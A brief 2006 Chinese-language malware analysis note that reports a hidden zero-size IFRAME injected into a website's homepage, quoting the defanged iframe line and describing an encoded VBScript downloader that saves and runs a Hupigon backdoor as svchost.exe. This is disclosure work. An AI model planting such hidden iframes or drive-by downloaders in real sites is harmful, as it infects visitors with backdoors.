endurer 原创
2006-11-22 第1版
该网站首页首部被加入代码：
/-----------
＜IFRAME src="hxxp://58***000.128**.to***for.com/x***skj.htm width=0 height=0＞＜/IFRAME＞
-----------/
x***skj.htm 的内容为escape()加密的VBScript代码，功能为：利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 setup.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 的 ShellExecute 方法 来运行。
setup.exe 文件大小为301 KB (308,224 字节)，Kaspersky 报为 Backdoor.Win32.Hupigon.cge。